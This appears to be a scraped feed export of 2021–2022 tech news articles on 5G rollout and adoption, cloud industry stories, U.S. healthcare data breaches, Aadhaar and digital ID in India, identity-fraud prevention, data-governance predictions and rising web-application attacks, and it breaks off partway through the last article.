The abbreviation "5G" stands for Fifth Generation wireless technology. This will be the next-gen wireless technology that is set to offer data speeds of up to 10 Gbps and send data over distances as high as 1 km. Let us tell you that this technology mainly works on 3 bands - High, Medium, and Low Frequency. Internet speed varies on each band, such as 100 Mbps on low. The speed can go up to 20 Gbps on the high band but the coverage area is reduced. Overall, the speed can be ten times higher than the 4G speed available today.

List of Cities to get first 5G network in India

In the month of September last year, DoT recommends the Telecom Regulatory Authority of India (TRAI) should hold an auction for the International Mobile Telecommunications (IMT/5G) spectrum and respect various aspects like reserve price, band plan, and block size.

Apart from the four main metro cities, 5G coverage can expand to Ahmedabad, Bangalore, Chandigarh, Gandhinagar, Gurugram, Hyderabad, and Lucknow this year. This is a relief for people who have been dealing with the stress of unreliable 4G services.

# data[].attributes.attachment_link.keywords[]
5g in india will arrive for these 13 cities first

# data[].attributes.attachment_link.title
5G in India Will Arrive for These 13 Cities First

# data[].attributes.attachment_link.description
For people who can't wait, 5G is coming to some cities in India this year. They'll have everything they've been dreaming of-downloading content super-fast or being able to play games that need a good connection. It's not available nationwide yet, but it will be in cities like Delhi, Lucknow & Chandigarh.

# data[].attributes.headline
Wireless 5G connections to exceed 540 million by the end of the year

# data[].attributes.subject
Wireless 5G connections to exceed 540 million by the end of the year

# data[].attributes.body
#5g

# data[].attributes.attachment_link.readable_text
Global wireless 5G connections have reached 438 million by the third quarter of 2021 and are on pace to exceed 540 million by the end of the year, according to data from Omdia, said 5G Americas.

Chris Pearson, President of 5G Americas said, "Despite challenging times with the COVID-19 pandemic issues, 5G uptake continues at a fast pace as communications and connectivity have taken center stage."

According to the most recent data from Omdia, the world added 72 million 5G connections between Q2 and Q3 of 2021, increasing 19.6% from 366 million to 438 million, reflecting a downward re-statement of connections from Q2. At this pace of growth, 5G is expected to more than double the number of connections in 2020 and is forecast to reach 540 million globally by the end of the calendar year.

Looking forward, Omdia estimates global 5G connections reaching 4.8 billion by the end of 2026. Of that, 516 million is expected to come from North America and 301 million from Latin America and the Caribbean.

Omdia principal analyst Kristin Paulin said, "While Oceania Eastern & South-Eastern Asia, which includes China, will account for more than half of all 5G subscriptions at the end of 2026, the Americas region will manage to carve out a 17% portion after growing 1,000% from 2021 to 2026."

Wireless 5G connections by region

By region, North America had a total of 56.5 million 5G connections by the end of Q3 2021, which is an addition of 12.5 million 5G connections - a gain of 28 percent quarter over quarter. Additionally, it had 505 million LTE connections by the end of Q3 2021.

4G LTE still remains the dominant wireless cellular technology in Latin America and the Caribbean with 484.6 million connections. That represents 21 percent annual growth with the addition of 82.8 million new LTE subscriptions year over year.

According to Jose Otero, VP of Caribbean and Latin America for 5G Americas, "With 16 commercial deployments in the Caribbean and Latin America region, 5G continues to make progress. In the upcoming years, as more spectrum, enhanced coverage and devices become available, 5G connections will increase substantially in the region."

Overall, the number of 5G commercial networks has reached 185, according to data from TeleGeography and 5G Americas. That number is expected to reach 220 by the end of 2021 and 329 by the end of 2023, representing strong 5G network investment growth in many regions throughout the world. The number of 5G and 4G LTE network deployments are summarized below:

5G

Global: 185

North America: 10

Caribbean and Latin America: 16

4G LTE

Global: 693

North America: 19

Caribbean and Latin America>: 127

# data[].attributes.attachment_link.title
Wireless 5G connections to exceed 540 million by the end of the year - Help Net Security

# data[].attributes.attachment_link.description
Global wireless 5G connections have reached 438 million by the third quarter of 2021 and are on pace to exceed 540 million by the end of the year, according to data from Omdia, said 5G Americas.

# data[].attributes.headline
Five megatrends for 5G mmWave for 2022 and beyond

# data[].attributes.subject
Five megatrends for 5G mmWave for 2022 and beyond

# data[].attributes.body
#5g

# data[].attributes.attachment_link.readable_text
It's been a tumultuous year for 5G as wireless carriers scrambled to deploy their networks at mid-band and increasingly millimeter-wave frequencies, and the trend will undoubtedly accelerate in 2022. With this in mind, Movandi is making some projections about what we believe will be the 5G "megatrends" in the coming year.

"2022 is the year smart repeaters will take center stage to help accelerate challenging 5G mmWave deployments, by improving both performance and economics for global 5G operators," said Reza Rofougaran, CTO of Movandi.

Five megatrends that will shape the future of 5G mmWave
1. New hybrid private networks and managed service offers using both Wi-Fi and 5G millimeter-wave technologies, gain momentum as a high-performance, flexible and economic solution for enterprises.
Although it might not appear so at first glance, Wi-Fi and mmWave systems are complementary, and there are big benefits when they are. Wi-Fi is ubiquitous, with an installed base of at least 22 billion devices, all of which are ultimately connected to Ethernet infrastructure. But Wi-Fi networks must support a large number of distributed access points and the fiber backbone connectivity can be expensive.

Millimeter-wave networks can be used for "wireless fiber" operating in the unlicensed 60 GHz and licensed 24/28/39 GHz spectrum to replace expensive fiber for backhaul while also providing broader coverage in the fronthaul, especially in large buildings, stadiums, and shopping environments. Together, this hybrid "WiFive" approach brings the unique characteristics and massive available bandwidth of millimeter-wave frequencies together with the huge installed base of Wi-Fi devices to allow gigabit speeds and lower latency to be achieved at very low cost.

In addition, new managed service providers will emerge with a WiFive Network as a Service model designing, implementing, and operating these hybrid networks.
2. Intelligent mmWave repeater-based mesh networks leapfrog current approaches making broad deployment cost-effective for the first time.
The conventional approach for deploying mmWave technology relies on placing gNBs or small cells globally will be least $400 billion by 2030, which is obviously not cost-effective.

In a white paper, the highly respected analyst firm Mobile Experts estimates that smart repeaters will cut deployment costs and time in half. Rofougaran suggests there will be a ratio of between 4:1 to 10:1 smart repeaters to gNB/small cells depending on the application and coverage requirements. As a result, we expect this repeater-based mesh approach to become the standard way that millimeter-wave frequencies are utilized, with the first large commercial deployments in 2022.
3. AI, ML and cloud-based orchestration for dynamic real-time optimization will become essential enablers for 5G mmWave networks and C-V2X mobility.
Millimeter-wave network performance, reliability, and economics can be optimized with real-time cloud and AI-controlled mesh networking. Traffic is dynamically routed based on changing usage patterns and rapidly varying signal conditions. Machine learning assesses environmental conditions with continuous updates for things such as a moving van, new building or foliage growth and predicts the best coverage models and for moving vehicles, and the best gNB signals and beams.

In addition, automated signal search and detection allows installation locations to be optimized while dramatically reducing the time and cost for deployment because they are comparatively simple to construct in a "plug-and-play" fashion, eliminating the need for technicians and installers to have a high level of expertise.
4. 6G network foundation will rely on the new 5G repeater network innovations.
While 5G is arguably the most wide-ranging 3GPP innovation since the inception of cellular technology, 6G presents even more daunting MmWave challenges that have only recently begun to be addressed. However, smart repeaters have already solved the problems associated with millimeter-wave coverage, economics and operation.

As they become widely deployed throughout this decade, they will provide an infrastructure foundation and valuable insight for the migration to 6G networks that will operate at frequencies greater than 100 GHz, where no wireless communications systems have operated before.
5. 5G Repeater as a Service (RaaS) will transform operator investment strategies and accelerate network deployment.
The modular 5RaaS model will enable service providers to select only the services they need and increase deployment speed by reducing up-front capital investment and the cost of keeping technology and cloud AI software up to date. It will include intelligent repeater hardware, chipsets, highly advanced antenna technology and cloud AI software services, which are constantly being enhanced and updated as environmental conditions change.

New open APIs will provide the flexibility to allow developers to create services that can be packaged as complete solutions tailored to allow customers to select only the services they need. It will be essential in the coming year for standards bodies to allow these services to proliferate unencumbered by restrictions posed by proprietary hardware and software.

# data[].attributes.attachment_link.title
Five megatrends for 5G mmWave for 2022 and beyond - Help Net Security

# data[].attributes.attachment_link.description
It's been a tumultuous year for 5G as wireless carriers scrambled to deploy their networks at mid-band and increasingly millimeter-wave frequencies, and the trend will undoubtedly accelerate in 2022. With this in mind, Movandi is making some projections about what we believe will be the 5G "megatrends" in the coming year.

# data[].attributes.body
#cloud #trends

# data[].attributes.attachment_link.readable_text
There have been plenty of ups and downs in the world of cloud over the course of 2021, as the US public cloud giants continue to win deals and grow their share of the market, much to the chagrin of smaller players in certain geographic markets.

In this regard, the public sector has emerged as a core battleground for both public cloud giants and their smaller rivals, both in the UK and US, as IT decision-makers continue to tighten up and evolve their cloud strategies.

On this point, sustainability has emerged as an increasingly important factor in the cloud sourcing decisions of IT buyers, which - in turn - has prompted many players to talk up their environmental credentials in a bid to curry favour.

Here are Computer Weekly's top 10 cloud stories of 2021.

French cloud provider Scaleway set tongues wagging when it went public with its plan to exit the Gaia-X project, which aims to build an open, federated data infrastructure for European companies to host their cloud workloads in.

The company, which was a founding member of the initiative, cited misgivings about the direction the initiative is heading in, while also opening up about its unhappiness at the growing hold and influence the US and Chinese tech giants had over the project.

The situation has prompted questions about what the future holds for the project, with participants and industry watchers seemingly divided over whether the involvement of Amazon, Microsoft and the like in Gaia-X is a good thing or not.

The Cabinet Office faced criticism in late November 2021, after details emerged that at least one government department had been briefing suppliers to urgently pull any workloads they had running on UKCloud's infrastructure out of concern about the firm's financial security.

The edict is understood to have originated from the Cabinet Office, with the department alleged to have been warning all of the public sector-focused cloud firm's clients to seek alternative suppliers.

These actions follow a disclosure made in UKCloud's most recent set of financial accounts, which revealed the firm has been in pursuit of further investment - to the tune of at least £30m since September 2020 - so that it can continue trading.

US cloud giant Amazon Web Services (AWS) continued its efforts to trap more public sector spend, with the launch of a promotional campaign geared towards unlocking the cloud spend of local authorities across the UK and Ireland.

According to the UK government's own G-Cloud spending figures, AWS is now the public sector's biggest supplier of cloud services, but has - reportedly - had very little direct spend at local council level to-date.

To rectify this, the firm set out plans in late September 2021 to offer local councils a three-month free trial of its cloud infrastructure and software offerings.

The training arm of NHS Scotland came under fire from members of the public sector supplier community after details emerged that it had awarded a 10-year cloud contract to AWS, with critics complaining the deal is anti-innovation, anti-competitive and puts the organisation at high-risk of lock-in.

The £15m contract was awarded by NHS Education for Scotland in April 2020, but details of it were only made public in May 2021, with complainants stating the deal was "completely out of step" with how public sector contracts are expected to be conducted.

After several years of legal quibbles and complaints, the US Department of Defense (DoD) confirmed in July 2021 that it had cancelled its controversial, decade-long, $10bn Joint Enterprise Defence Infrastructure (JEDI) cloud contract.

The contract was geared towards supporting the DoD in its push to create a general-purpose public cloud environment so that it could downsize its sizeable on-premise datacentre footprint, but the procurement of it was marred by legal challenges, delays and allegations the contract unfairly favoured AWS.

However, in October 2019, Microsoft was awarded the JEDI contract, prompting AWS to embark on legal action and go on record to accuse former president Donald Trump's administration of meddling with the process.

The UK government embarked on a series of measures to help departments clean up their IT supply chains, with the Department for Environment, Food and Rural Affairs (DEFRA) leading the way with a project designed to ensure sustainability is factored into public sector cloud purchasing decisions.

Part of DEFRA's work included the creation of a "cloud sustainability" workstream, tasked with creating a standard that government departments and private sector firms can use to improve the environmental friendliness of their IT supply chains.

On a related note, the Department for Business, Energy and Industrial Strategy (BEIS) started advising UK firms in August 2021 to consider picking up the pace of their cloud migration to do their bit to help tackle climate change.

The advisory was part of a series of suggestions the department made, in support of its net-zero strategy, whereby firms are being challenged to take action to shrink their carbon footprints by 2030.

"Large cloud providers are generally more energy efficient than traditional enterprise datacentres," said the department, in an advisory note. "So consider moving from on-premise servers to the cloud."

Microsoft and Google went public with their commitments to step up their own efforts to minimise the environmental impact of their datacentres, and wider business operations, by going public with their commitments to becoming "water-positive" entities.

This is on the back of heightening concerns about how cloud datacentres sited in water-stressed areas of the world could be exacerbating drought conditions and making it harder for local homes and businesses to access clean drinking water.

This year saw many IT buyers turn their attention to refining their cloud strategies and deployments, having found themselves having to accelerate the pace of their cloud migrations during the pandemic.

However, VMware's CTO for Europe, the Middle East and Africa, Joe Baguley, said - as enterprise cloud strategies have continued to mature - one thing that has become abundantly clear is that the days of enterprises declaring themselves as being "all-in" on a single cloud provider were dead.

Speaking at a VMware roundtable in April 2021, he said many enterprise CIOs "fell into that trap" of embarking on large-scale, single-supplier, multi-year public cloud migrations only to discover that their workloads do not "work, live, thrive or survive" in their new environment.

"In fact, it's probably more expensive to run that way [in the public cloud] and it was the wrong thing to do in the first place," he said.

The Covid-19 pandemic prompted many enterprises to rethink the way they operate to accommodate the stay-at-home orders and travel bans, and public cloud giant Microsoft revealed that it was no different in that regard.

The firm launched a service this year that would allow prospective and existing users of its cloud platform to take a virtual tour of a typical Azure datacentre so they can get a behind-the-scenes look at the technology powering their off-premise deployments.

Microsoft revealed that - pre-pandemic - it hosted thousands of physical tours a year, and its virtual tour offering has turned out to be just as popular with participants.

# data[].attributes.attachment_link.description
There have been plenty of ups and downs in the world of cloud over the course of 2021, as the US public cloud giants continue to win deals and grow their share of the market, much to the chagrin of smaller players in certain geographic markets.

# data[].attributes.headline
Top 10 cloud storage, DR and datacentre storage stories of 2021

# data[].attributes.subject
Top 10 cloud storage, DR and datacentre storage stories of 2021

# data[].attributes.body
#cloudtech

# data[].attributes.attachment_link.readable_text
Kalawin - stock.adobe.com

By

Here are Computer Weekly's top 10 stories on cloud storage, disaster recovery and the pandemic in 2021.

Theses are apparently disparate areas, but very much connected. The rise of the cloud has seen it emerge as a key site for disaster recovery, and even more so during the pandemic, which has pushed cloud adoption in a general sense. But there is also the sense that the cloud solves everything, and that's not the case, as we see here, and there are effects - from the pandemic and Brexit - on compliance.

Articles here also highlight key ways that disaster recovery (DR) has changed during the pandemic, as well as the devil in the detail of recovery from disaster using cloud DR. We also look at another key cloud workload - namely archiving - but there are drawbacks too, and we look at one organisation that brought backup and archiving back in-house.

There were also articles that drill down into the key considerations for SMEs when it comes to cloud disaster recovery and who's best at what in DR among the hyperscalers.

And lastly, we look at customer deployments of storage technologies in-house that are still very strongly represented, despite moves towards the cloud, with flash storage at the Scottish agricultural ministry and an oil and gas firm that ditched storage and servers for hyper-converged infrastructure.

What is Log4Shell, and why are we panicking about it?

How SASE is set to determine the future

Government must go further after agreeing to pay compensation for wrongly convicted subpostmasters

Download Current Issue

# data[].attributes.attachment_link.title
Top 10 cloud storage, DR and datacentre storage stories of 2021

# data[].attributes.attachment_link.description
Kalawin - stock.adobe.com By Here are Computer Weekly's top 10 stories on cloud storage, disaster recovery and the pandemic in 2021. Theses are apparently disparate areas, but very much connected. The rise of the cloud has seen it emerge as a key site for disaster recovery, and even more so during the pandemic, which has pushed cloud adoption in a general sense.

# data[].attributes.headline
Top 10 healthcare breaches in the U.S. exposed data of 19 million

# data[].attributes.subject
Top 10 healthcare breaches in the U.S. exposed data of 19 million

# data[].attributes.body
#cloudsecurity

# data[].attributes.attachment_link.readable_text
The healthcare sector has been the target of hundreds of cyberattacks this year. A tally of public data breach reports so far shows that tens of millions of healthcare records have been exposed to unauthorized parties.

Most of the largest data breaches result from ransomware attacks and the first ten of them account for more than half of all the healthcare records exposed in 2021.

PII of millions stolen or exposed

The breach notification rule under the Health Insurance Portability and Accountability Act (HIPAA), requires healthcare organizations to disclose a breach if it affects more than 500 residents of a state or jurisdiction.

The top ten cyber events with the widest impact listed on the portal of the U.S. Department of Health and Human Services (HHS) Office for Civil Rights are from hacking incidents and account for exposing data of almost 19 million people.

At the top of the list reported this year is an incident that impacted Florida Healthy Kids Corporation. Hackers exploiting vulnerabilities left unpatched for seven years in its website hosting platform had access to data of 3.5 million individuals.

The second-largest data breach in the healthcare sector impacted the 20/20 Eye Care Network in Florida, which resulted in exposing the personal data of over 3.2 million individuals.

Hackers gained access to the company's AWS S3 buckets and deleted the information. A class-action suit was filed against 20/20 Eye Care Network.

Another notable data breach comes from dermatology group practice Forefront Dermatology, which found that an unauthorized party had access to its systems for a week.

The intrusion exposed information of more than 2.41 million patients, including names, addresses, dates of birth, health insurance plan member IDs, and medical and clinical treatment details.

Ransomware gangs attack

On February 19, 2021, NEC Networks (CaptureRx) discovered that its systems had been compromised two weeks earlier and the intruders had access to customer records.

The investigation later determined that it was a ransomware attack that impacted data belonging to 1.65 million people.

Data of over 1.5 million individuals was compromised in an attack on August 4 against Eskenazi Health public hospital division.

The hackers had been on the internal network since May 19, preparing to encrypt the network, although they failed to complete the operation, the company said.

While the threat actor did not encrypt any data, they managed to steal from the organization personal and health information belonging to patients.

The Kroger Co. confirmed a data breach that exposed records of 1.47 million people. The incident was part of an extortion campaign from the Clop ransomware gang.

Access to corporate data was possible by exploiting vulnerabilities in Accellion's legacy File Transfer Appliance service used by up to 100 companies.

The Kroger supermarket chain, also a pharmacy operator, agreed to pay $5 million to end claims against it on behalf of customers and employees who had their personal information exposed.

Also a victim of a ransomware attack, the St. Joseph's/Candler health system announced that it detected the intrusion on June 17, 2021. An investigation revealed that the hackers had access to the network since December 18, 2020.

While on the network the attackers had access to data of 1.4 million patients, including addresses, dates of birth, Social Security numbers, driver's license number, financial information, health insurance plan member ID, and medical and clinical treatment information.

The REvil ransomware gang breached the systems of the University Medical Center Southern Nevada in mid-June that stored data of 1.3 million people.

The data included personally identifiable information (PII) as well as "certain protected health information," reveals the data security incident notification from the organization.

American Anesthesiology notified patients in early January 2021 that Mednax Services, one of its service providers, had suffered a phishing incident that resulted in personal information being exposed to an unauthorized party

The attacker had gained access to the partner's Microsoft Office 365 email system in mid-June 2020 and could access personal information belonging to American Anesthesiology patients. In total, data of 1.2 million people were exposed.

Last on the list of the largest ten data breaches reported so far in 2021 is Professional Business Systems, Inc., d/b/a Practicefirst Medical Management Solutions and PBS Medcode Corp., ("Practicefirst") - a vendor for multiple healthcare providers.

The incident was a failed ransomware attack and it became known in late December 2020. The hackers did not encrypt any data but they copied files from Practicefirst's network, exposing the personal information of more than 1.2 million patients and employees.

More than 50 hacking incidents disclosed on the HHS portal have affected upwards of 100,000 individuals, showing that organizations in the healthcare sector continue to be attractive targets.

According to HIPAA Journal, close to 45 million healthcare records have been exposed or stolen in breaches reported in 2021.

# data[].attributes.attachment_link.title
Top 10 healthcare breaches in the U.S. exposed data of 19 million

# data[].attributes.attachment_link.description
The healthcare sector has been the target of hundreds of cyberattacks this year. A tally of public data breach reports so far shows that tens of millions of healthcare records have been exposed to unauthorized parties.

# data[].attributes.headline
India plans single sign-on for digital government services, Aadhaar fraud ring arrested

# data[].attributes.subject
India plans single sign-on for digital government services, Aadhaar fraud ring arrested

# data[].attributes.body
#digitalid

# data[].attributes.attachment_link.readable_text
The government is planning to launch a single sign-on (SSO) service for access to a wide range of government programs and benefits, writes the Times of India.

The common platform for state and central government services is expected to reduce the burden of remembering many passwords for government services, and to launch in or before August of this year. The platform would also help guide users with information about programs applicable to them.

A "National Digital Profile" would be created for all citizens and be used to pre-fill government forms, according to the report.

Aadhaar achievements and limitations

The total number of Aadhaar accounts issued reached 1.26 billion in 2021, Mint reports, quoting a statement from the country's IT Ministry. The Unique Identification Authority of India (UIDAI) has signed deals with two service providers to set up and operate 166 Sewa Kendras (service centers) in 122 cities in India.

In Assam, however, 2.7 million people are without Aadhaar after their biometrics were locked, according to The Economic Times.

The National Register of Citizens (NRC) collected biometrics from many Assam residents as part of an appeals process, after more than 3.6 million people applied to be included on a list original published in mid-2018. Enrolling their biometrics, however, appears to have run into the deduplication process of Aadhaar, meaning none of those waiting for a hold to be lifted from the "Aadhaar enrolment packets" NRC generates can receive the national ID or use it to access services and benefits.

The Assam government claims to have written the federal government and Registrar General of India, and an official suggested that the Supreme Court may have to intervene in the situation.

The Economic Times recounts the plight of a student blocked from accessing educational loans, due to the two-year logjam.

The UIDAI has passed a complaint to Hyderabad Police, resulting in the arrest of eight people using unauthorized Aadhaar kits and ID cards from Assam, MediaNama reports (subscription required and recommended).

Biometric devices including iris and fingerprint scanners were seized during the arrest, along with equipment for forging birth certificates to perform Aadhaar enrollments or updates.

MediaNama suggests that the arrests cast doubt on the purported infallibility of the Aadhaar system, and therefore its appropriateness for use with the electoral system.

Similarly, a gang was arrested in Haryana last June after allegedly defrauding the Aadhaar system.

Health cards in NCT

The National Capital Territory government is planning to collect biometrics and map the family relations and home addresses of Delhi residents as part of a health management system, according to a tender document reported by MediaNama.

In addition to clinical and demographic information, the health cards would contain a photo of the bearer, which could be used for authentication to access online services.

The tender suggests that voter ID will be required to receive a health card, and that linkage to 'optional' IDs including Aadhaar would be required for de-duplication.

Article Topics

Aadhaar | biometrics | digital identity | government services | identity management | India | single sign-on | UIDAI

# data[].attributes.attachment_link.title
India plans single sign-on for digital government services, Aadhaar fraud ring arrested | Biometric Update

# data[].attributes.attachment_link.description
The government is planning to launch a single sign-on (SSO) service for access to a wide range of government programs and benefits, writes the Times of India. The common platform for state and central government services is expected to reduce the burden of remembering many passwords for government services, and to launch in or before August of this year.

# data[].attributes.headline
Combating identity fraud: The key is to avoid stagnation

# data[].attributes.subject
Combating identity fraud: The key is to avoid stagnation

# data[].attributes.body
#digitalid #fraud

# data[].attributes.attachment_link.readable_text
In this interview with Help Net Security, Tom Wesselman, CTO of TeleSign, explains how to successfully combat identity fraud to not only protect an organization but its customers too.

As cybercrime sophistication reaches new heights, what can organizations do to tackle these new threats?

Phishing, identity theft, and ransomware are not new types of cyberattacks. What is new is bad actors increasingly using automation and other advanced technologies to more quickly identify and exploit vulnerabilities in organizations' defenses to access or steal sensitive data without being detected.

One commonality among most attackers is their desire to achieve the most lucrative outcome. They view themselves as a business, and like any business, they want to increase their ROI. Using automated bots is an easy and inexpensive way to identify vulnerable targets and launch their attacks.

Therefore, organizations must build and enforce barriers that the criminal determines are too complex and expensive to overcome. One way to do so is by conducting extensive vetting during the new customer onboarding process that challenges customers to verify their identities. A rigorous approach to onboarding not only ensures the person creating a new user account is who they say they are and builds trust, but it will also compel a bad actor to give up and move on to their next target.

What are the technologies they can use not only to protect themselves but their customers too?

Companies should use technology that validates new users and challenges any suspicious behaviors. For example, flagging an attempt to complete a high-value purchase online and initiating additional research to confirm the transaction's legitimacy. Continuous monitoring of all customer actions, including long-term customers, is necessary to catch unusual behavior.

Requiring new customers to provide identifier attributes such phone numbers or email during the account registration process and using AI risk-based scoring solutions can help determine risk levels for each user. Automating the analysis of multiple behavior signals associated with one or many identifiers will achieve greater accuracy in identifying risky behavior and security threats.

Why do companies often sacrifice security for customer experience?

Unfortunately, the desire to provide an engaging and seamless customer experience too often trumps security. For example, CAPTCHA may deter a potential customer from taking the time to create an account, or requiring a multi-factor authentication pin may prevent them from completing their purchase. It is also common for companies to permit consumers to virtually sign documents or place orders without creating user accounts.

This mindset is in dire need of a shift and companies need to view security as means for their organization to be successful. Research shows 85% of consumers will remain loyal only to brands they trust and are 7x more likely to buy from companies they believe prioritize their privacy and the security of their personal information. If an organization is laxed on security, they could jeopardize this trust, ruining relationships with even more customers than if they were to have preventive measures in place.

How to successfully combat identity fraud?

A person's digital identity is invaluable both to them and to the companies they entrust with that information. Companies face significant business and regulatory compliance consequences for failing to protect their customers' sensitive data. Multi-factor authentication ( MFA) should serve as the foundation of fraud prevention and account security and can include several methods for validating a customer's identity, including:

A customer-created password or PIN

Mobile phone or hardware token: a unique code sent to the customer via mobile phone, computer, or other trusted connected device

Biometrics such as fingerprint or face recognition

Layering authentication and validation tactics work to prevent fraudulent account creation and make sure that a customer's information is not compromised. Additionally, when the above-mentioned measures are enforced simultaneously, the end-user can more quickly and definitively determine if the user is in fact real. MFA also supports the employ of continuous monitoring tactics by assessing millions of data points.

MFA is a necessary component of fraud prevention. Think of it as stacking security measures to fortify the castle wall via a variety of tactics. Identity verification solutions work together to thwart attackers trying to gain entry and access to sensitive data stores and strengthen customer loyalty. Given the ever-changing world of technology and drastic increase in fraud attempts year-over-year, it's vitally important to avoid stagnation, especially when it comes to issues of identity security. An ongoing proactive approach gives brands the best chance to stop fraud in its tracks.

# data[].attributes.attachment_link.title
Combating identity fraud: The key is to avoid stagnation - Help Net Security

# data[].attributes.attachment_link.description
In this interview with Help Net Security, Tom Wesselman, CTO of TeleSign, explains how to successfully combat identity fraud to not only protect an organization but its customers too. As cybercrime sophistication reaches new heights, what can organizations do to tackle these new threats? Phishing, identity theft, and ransomware are not new types of cyberattacks.

# data[].attributes.headline
Governance and data privacy: What to expect in 2022?

# data[].attributes.subject
Governance and data privacy: What to expect in 2022?

# data[].attributes.body
#digitalid #privacy

# data[].attributes.attachment_link.readable_text
Okera revealed its top industry predictions and trends expected to emerge in data privacy and governance for 2022 according to the company's CEO, Nick Halsey; CTO, Nong Li; and Okera Advisory Board member and recent Gartner VP analyst, Sanjeev Mohan.

Halsey's 2022 predictions

Privacy regulation will continue to proliferate, requiring a proactive approach

Anxiety about the proliferation of data privacy regulations - around the world and within U.S. states - will ratchet up in 2022. Driven by both the fear of fines and damage to brand reputation, companies progressing on their compliance journey will shift their concern from simply the how-to, to now focusing on how to arbitrate among different regulations.

A common approach will be to fulfill the technical requirements for one major regulation, perhaps CCPA or GDPR, then layer in the required capabilities for other regulations as needed. The consequences of this wait-and-see approach toward regulatory compliance will result in companies falling further behind while risks continue to increase - if they don't act decisively in the coming year.

AI regulation will start to look like data privacy regulation

AI is predicted to change just about everything. However, there is a lot of debate about whether those changes will be for the good. Data bias in machine learning models is one of the hottest topics in the AI industry for good reason; an AI model that rejects loan applications or increases insurance premiums for the wrong reasons will have a very deleterious effect. And there are other concerns.

Many companies, especially in social media, are essentially in the business of collecting personal information. What can they do with that information? What are they allowed to learn about people and what are they allowed to do with that knowledge? The EU already has a draft AI regulation in place, and in 2022 we can expect to see many other countries move in that direction. Once again, compliance will demand an ability to know what data you have, where it is, and who has access to it.

Governance goes real-time

When we think of governance, we usually think about putting a policy in place - what role can access what data - and having the system allow or disallow user access based on that policy. State-based policies change the game. Some regulations restrict not only who can access what data, but also where the authorized users are allowed to be when they attempt to access the data.

Other regulations restrict access depending on the date, time, system status, and other variables. This combination of various state-based regulations and variables can imply a more refined data access policy, placing a new layer of requirements on governance systems. The policy, no longer static, must react to certain variables in real-time. In 2022, we will see increasing pressure on enterprises and vendors to put the tools in place that enable real-time, state-based policy enforcement.

Li's 2022 predictions

A data governance ecosystem aligns to drive usage and adoption

Data governance has historically been looked at as a necessary burden, something imposed on an enterprise that limited agility and slowed innovation. This is no longer the case. Enterprises are now waking up to the reality that data governance is a key building block of agility and innovation. As a result, in 2022, data governance will no longer be a mere checkbox in vendor solutions. Instead, an ecosystem, including data governance platform providers, compute vendors, and platform vendors, will align around delivering data governance capabilities as a way to drive usage and adoption. We are already beginning to see this emerge, and it will accelerate in the coming year.

Early-stage service providers recognize that data governance at the core is essential for survival

New tech companies and startups will need to build data privacy into their core product strategy. For example, a few years ago, we saw significant investments in new fintech and health tech companies. These companies are maturing and preparing to go live during a time of heightened concern around security and privacy - across the industry and among customers - so they are going to be very focused on building these capabilities into their product offerings to eliminate risk and drive adoption. Failure to build in these capabilities could be fatal for these companies.

The supply chain goes under the data governance microscope

In light of so many high-profile breaches, data privacy and security are now a popular topic outside the tech industry. Ransomware attacks and oil pipeline shutdowns are front-page news, and people increasingly understand the consequences of poor data practices for both the country and themselves. This will lead to some significant activity in 2022 around how manufacturing supply chains manage and share data.

We will also see government agencies and pseudo-governmental bodies, such as utility companies, move at a faster pace to address data management and data privacy concerns. By the end of next year, we expect most supply chain participants and agencies to at least have plans in place for how they intend to address these concerns.

Mohan's 2022 predictions

Data governance scope will expand to all data

During the peak of the pandemic, organizations shifted budgets to bolster initiatives that allowed them to explore data in new ways. However, this was often haphazard and reactive. Post COVID-19, data and analytics budgets are seeing their biggest increase in many years, according to Gartner.

Organizations are investing in expanded data and analytics environments to make timely and accurate decisions in a more strategic manner. New business use cases rely on multi-structured data from streaming IoT, 5G, logs and clickstream data sources. This data should be secured through a uniform and standardized approach to allow reusability and automation.

Data consumption platforms will require a common authorization framework

New approaches to consuming data include data exchanges, marketplaces, and other data-sharing options. In addition, organizations are starting to invest in data mesh and data fabric, approaches that promise to remove data engineering bottlenecks and foster agility.

However, decentralized architectures add complexities to governing and securing data that is spread across multiple locations. A unified data access governance platform will be required to apply policies consistently and enable regulatory compliance.

Data access governance platforms become pervasive

Consumers are demanding access to the latest data in near real time to enable use cases such as anomaly detection or machine learning. This has led to an explosion of "modern data stacks," ranging from cloud data warehouses to lake houses.

Departments are demanding autonomy to deploy the most cost-effective stack that meets their functional and non-functional requirements. This will splinter the technology infrastructure landscape. Governing access to data in a distributed, domain-centric environment will no longer be a DIY project. It will require a comprehensive federated governance platform.

# data[].attributes.attachment_link.title
Governance and data privacy: What to expect in 2022? - Help Net Security

# data[].attributes.attachment_link.description
Okera revealed its top industry predictions and trends expected to emerge in data privacy and governance for 2022 according to the company's CEO, Nick Halsey; CTO, Nong Li; and Okera Advisory Board member and recent Gartner VP analyst, Sanjeev Mohan.

# data[].attributes.headline
Web app attacks are skyrocketing, it’s time to protect APIs

# data[].attributes.subject
Web app attacks are skyrocketing, it’s time to protect APIs

# data[].attributes.body
#digitalid #apisecurity

# data[].attributes.attachment_link.readable_text
Web app attacks against UK businesses have increased by 251% since October 2019, putting both organizations and consumers at risk, an Imperva reserach reveals.

In a study of nearly 4.7 million web application-related cyber security incidents, Imperva Research Labs finds that attacks are increasing, on average, by 22% each quarter. Most concerningly, the growth rate for such attacks continues to increase with a 67.9% surge from Q2 2021 to Q3.

One of the most notable increases was in Remote Code Execution (RCE) / Remote File Inclusion (RFI) attacks, which jumped by 271%. RCE / RFI attacks target businesses' websites and servers, and are used by hackers to steal information, compromise servers or even takeover websites and modify their content.

Web app attacks surge increasing data breaches

The consequence of this surge in web app attacks is a dramatic increase in data breaches. Earlier this year, Imperva Research Labs found that 50% of all data breaches begin with web applications. With the number of breaches increasing by 30% annually, and the number of records stolen is going up by a staggering 224%, it's estimated that 40 billion records will be compromised by the end of 2021, with web application vulnerabilities likely responsible for around 20 billion.

"The pandemic placed immense urgency on businesses to get all kinds of digital transformation projects live as quickly as possible, and that is almost certainly a driving factor behind this surge in attacks" says Peter Klimek, Director of Technology at Imperva.

"The changing nature of application development itself is also hugely significant. Developments like the rapid proliferation of APIs and the shift to cloud-native computing is beneficial from a DevOps standpoint, but for security teams, these changes in application architecture and the accompanying increased attack surface is making their jobs much, much harder."

The importance of API protection

Losses relating to fraud and cyber-crime have spiraled out of control during the pandemic, with the National Fraud Intelligence Bureau estimating that around £1.3bn was lost in the first half of 2021 alone, more than three times the amount lost during the same period in 2020. These figures suggest that the problem will continue to worsen throughout 2022.

